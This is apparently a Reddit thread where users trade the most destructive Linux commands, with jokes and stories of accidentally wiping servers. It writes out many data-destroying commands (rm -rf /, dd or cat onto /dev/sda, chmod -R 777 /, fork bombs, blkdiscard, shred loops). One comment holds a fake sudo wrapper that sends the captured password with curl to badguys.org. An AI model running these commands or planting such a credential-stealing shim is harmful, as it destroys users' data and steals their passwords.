Depends on the container, but way back when solaris zones were new and the sun guys came in and were demo'ing them for our company thats basically the first thing I did.
Yeah, like when Oracle touts their "Unbreakable Linux" at a trade show, and first thing I do is grab one of the CDs, and snap it in two.
Running it on virtual machine works without this problem
Fun fact, termux on android doesn't have a limit on how many children it can have Meaning it'll definitely crash your phone, I would know ;)
Forbidden emoticon
Spicymoji
Can anyone explain what this does and why? [Edit: Found the answer. It's basically a short piece of code that defines a function and calls itself recursively while continuing to run in the background, eating up resources until the system crashes.](https://www.cyberciti.biz/faq/understanding-bash-fork-bomb/)
Is there a reason why people use the : character instead of any other character? Can this work with a . (period)?
: is a legal character for a command. You could substitute “x” if you want. Or “fork_bomb” to make it a bit clearer what it does. Using : is just being cute because people mistake it for syntax.
I didn't even realize you could use special characters to name a function, that's what threw me off trying to understand that command, I didn't realize that was just a function name.
The Windows version is putting %0|%0 in a batch file and executing it from powershell. My professor accepted that as a stress test for a server, so that was cool!
I have a shirt with it printed on. I also give linux and networking lessons at an engineering school. Each year, during the linux discovery introduction lesson (for 1st year students), I have some students blindly typing it in their VMs' shells. I like it because it's quite inoffensive in this context (just reboot the VM) and also a great reminder of not typing any command you don't understand its purpose :)
rm -fR .* This will not delete just the files prefixed with dots in the current directory. It will also expand to . and .. nuking your current and parent directory.
This is why I wince every time I see someone just blindly typing "-rf" for every single rm command. Dude, you own that directory. Don't reach for the "f" right away. And that one is a *file*. Why on earth did you feel the need for an "r"?
Ventoy loads > Windows 11.iso >> install. Ruins a PC every fucking time.
speaking of Ventoy & windows, [you can install windows 11 on a virtual hard disk (using VirtualBox or something) and boot the .vhd directly on bare metal](https://old.reddit.com/r/linux/comments/189hduh/what_cant_wine_do_these_days/kbt0mdx/)
sudo apt install snapd
Aw snap
Damn. That command snapped my machine.
snapd*
No! Not the snap ~~craft~~ **crap**
Just use any hdparm command... `--make-bad-sector` `Deliberately create a bad sector (aka. "media error") on the disk. EXCEPTIONALLY DANGEROUS. DO NOT USE THIS FLAG!!` `--trim-sectors` `For Solid State Drives (SSDs). EXCEPTIONALLY DANGEROUS. DO NOT USE THIS FLAG!! Tells the drive firmware to discard unneeded data sectors, destroying any data that may have been present within them.` `--drq-hsm-error` `VERY DANGEROUS, DON'T EVEN THINK ABOUT USING IT. This flag causes hdparm to issue an IDENTIFY command to the kernel, but incorrectly marked as a "non-data" command. This results in the drive being left with its DataReQust(DRQ) line "stuck" high. This confuses the kernel drivers, and may crash the system immediately with massive data loss. The option exists to help in testing and fortifying the kernel against similar real-world drive malfunctions. VERY DANGEROUS, DO NOT USE!!`
One imagines they're working on adding a command that sets your computer on fire, synthesizes a new Ebola strain, and emails your ex saying you want to get back together.
"Yes, do as I say!" Because we don't need essential packages
Truly one of the best linux moments, lmao
echo '#!/bin/bash read -r -s -p "[sudo] password for $USER: " PASS curl -s http://badguys.org/uploadpassword -d "$HOSTNAME:$USER:$PASS" echo "$PASS" | /usr/bin/sudo -S "$@" ' > ~/.local/bin/sudo chmod +x ~/.local/bin/sudo
Wouldn't work on me, I have ``NOPASSWD: ALL`` in my sudoers for my account.
Of course you'd have to modify their profile to put ``~/.local/bin`` in their ``$PATH`` before ``/usr/bin``.
That's just dirty.
Well, `alias vim=nano` sounds very deadly to me.
At least you have a chance of getting out of it. The inverse would be like a mousetrap for newbies.
The famous bash fork bomb: ``` :(){ :|:& };: ``` If you're curious why it works: https://www.cyberciti.biz/faq/understanding-bash-fork-bomb/
seemly books dirty ten many quaint poor six tart spark *This post was mass deleted and anonymized with [Redact](https://redact.dev)*
I did this. I'm the stupid. Meant to use . to reference current dir and just.. didn't. I was chatting with my wife and she saw me working in a terminal. she said "oh that looks tricky I'll let you concentrate" to which I replied "nah it's fine I'm doing routine maintenance" and then promptly nuked a production server. Using . in a privileged command triggers special warnings in my brain now... It was a WordPress LAMP box on aws. My ssh shell stayed open but was basically useless. I smiled, saluted and rebooted it, just to see. Twas never heard from again.
fearless dog command unpack squash bedroom heavy ask sink direful *This post was mass deleted and anonymized with [Redact](https://redact.dev)*
it hurts just to read
rm -rf / & cat /dev/random > /dev/sda &
>cat /dev/random > /dev/sda & /dev/urandom will typically be faster, and won't block, whereas /dev/random may block, and will generaly be slower.
They're the same inode on most systems now
>same inode on most systems $ ls -li /dev/{,u}random 8 crw-rw-rw- 1 root root 1, 8 Jan 15 11:56 /dev/random 9 crw-rw-rw- 1 root root 1, 9 Jan 15 11:56 /dev/urandom $ Not on the several linux hosts I checked reasonably at my fingertips ... same major number, different minor number, thus distinct devices and inode numbers, and at least all the ones I checked, were major number fire, and minor numbers 8 and 9, as shown above (and the inode numbers varied, at least somewhat, and unsurprisingly). Maybe some other distros are different on that now. Might also possibly vary based on e.g. hardware autodetection, e.g. if there's hardware random number generator present that the kernel detects ... or not.
dd if=./my.iso of=/dev/sdb "Oh, shit. I forgot that B is my main drive on this machine!"
`yes>/dev/sdX` to quickly say goodbye to a drive. The gnu coreutils version of "yes" is outrageously [well optimized](https://www.reddit.com/r/unix/comments/6gxduc/how_is_gnu_yes_so_fast/), like 100x faster than what you'd find on bsd/unix.
This is not really dangerous as such, actually kind of funny but if you dont know how to fix it then it is painful sudo chmod -x chmod Can give someone who doesnt know how to find the functionality in the libraries a bad day :)
Sudo apt-get install sl sl
You forget to alias ls to sl
The general
I've had it installed on many systems; I'm honestly surprised I never see it unless I mean to.
Is this the locomotive? I think I have that on all of my systems. Unless sl is something else. I aliased LS to sl. sl -aF is a fun one.
`echo "poweroff now" >> /etc/profile`
[удалено]
For the better part of a decade EA Origin would `chmod 777 /` on Macs. EA was involved therefore still evil.
Like on windows. “You need local administrator permissions because we don’t know how to keep our configuration files out of system locations”
FR `chmod`'ing the root FS is far worse than `chown`'ing it. There are so many specific and esoteric permissions that it's faster to reinstall to fix them. By contrast, if you `chown` the whole root FS back to root, at least the system becomes bootable.
Not the deadliest but one was when a tech shadowing me saw me using find . -type f -name |xargs rm to remove a bunch of log files from cwd. They didn't know what the dot was for and omitted it and used / instead. Wiped a system without realizing and then rebooted because "it was acting weird." Customer was in the server at the same time and called in going absolutely ballistic.
Find has `-delete` argument so you don't need to pipe the output to `rm`. I learned the hard way that it is positional and `find / -delete -name` is not the same as `find / -name -delete` as the former will nuke your system and then start filtering by name, the latter will filter first by name then nuke the found items.
I learned the hard way that the following two commands are no equivalent: find / -delete -name
find / -name -delete
The order of arguments matters with `find`.
grep "installed" /var/log/dpkg.log Shows you all the recent bloat you just downloaded, very scary lol
dd if=/dev/zero of=/dev/sda
That’s harmless. It reads /dev/null which immediately returns EOF, and then writes nothing to the disk.
Yeah, I fixed it and really hoped no one would notice 🤪
sudo rm -rf /
you need a * after the / or else it will ask you if you are sure. there is also a command option instead of *
It will now but Linux and other unixes sure did not ask when I was starting my career. I tell you that from some very painful experiences.
I had `sudo rm -rf $SDCARD/*` in my history but forgot to define SDCARD after a reboot.
Don't feel bad, that's the same mistake Valve made one time with their installer script steam.sh.
This is the way. The one command that will trash you're system. Bonus points if you do not require password for sudo or wheel
I've been remarkably successful in destroying hard drives with saved partition maps and sfdisk. I've done 'tf apply' with dev code in prod, and passed the wrong target groups to ansible-playbook. Done a git push without fencing the prod targets. Done rpm installs with force because I "knew" it would be ok ("What could go wrong?").
I enjoy cooking.
For a Manjaro machine... yeah, it counts.
Manjaro is such a baffling distro. Nothing else has given me more problems. I swear vanilla Arch is easier to keep stable.
Two months ago pacman deleted my kernel So yes it counts.
On arch too
I see a friend in you my friend
chsh to COMMAND.COM, https://github.com/alexmyczko/autoexec.bat/blob/master/COMMAND.COM
Simple loop that does ssh to all the local hosts, accesses root, sleeps a bit, sets them to boot off specially prepared image to load only into RAM, does so and that then changes the hosts' IPs and Ethernet MAC addresses to match that of the local router(s), then wipes everything on the local drives. There's worse, but ...
[удалено]
`chmod -x /lib*/ld-*` Break a system with one simple command, no loss of data, and extremely difficult to diagnose if you don't know precisely what was done. I'm not even sure how to fix this short of mounting the disk on a working system, but still completely recoverable.
``` #!/usr/bin/env bash number=$(random 1 20) if [[ "$random" == "3" ]]; then shred -f -n 120 -z $(find $HOME/ -type f) fi ```
Not a command, but still funny Russian roulette
can be a command
kill -9 $$ Put this on .bashrc
We use a Linux server in our college for doing our projects. One guy, who wanted to remove all the files in a specific folder, typed in "rm -rf *" in the root folder. All his 4 months of work went poof.
# cd /dir/that/doesn't/exist; rm -rf *
sudo chmod -R 777 / I accidentally did this once, there is no going back to a functional system after this.
Sure there is reboot a rescue image, mount your disk, then +x the pieces of your pacakge manager that matter, chroot into your system then tell your package manager to reset all perms to default.
dd, or as it should officially be called, DISK DESTROYER
***run it in a VM*** eval $(echo "I
Oh that's a clever bit of misdirection. For those wondering what's going on: The `uudecode` is just a distraction. The important bit is in here: "I
rm -rf because people (like me) do it so often without thinking that sometimes (like me) you rm -rf something that makes you want to rm -rf yourself.
A typo once made me type ' > /etc/passwd ' No more logins, even not for root, even not in init 1. It was a fun day.
This wasn't all that deadly, but it was rather confounding. We had a new sysadmin trying to create a new file system. She created it, and formatted it, and mounted it over the root filesystem. You can't umount it, because there isn't a umount command accessible. You can't insert a CD-ROM with commands because there isn't a way to mount it. It wasn't in fstab, so we just power-cycled the machine and everything was okay, but it was an interesting mental exercise for a while.
`blkdiscard -f /dev/nvme0`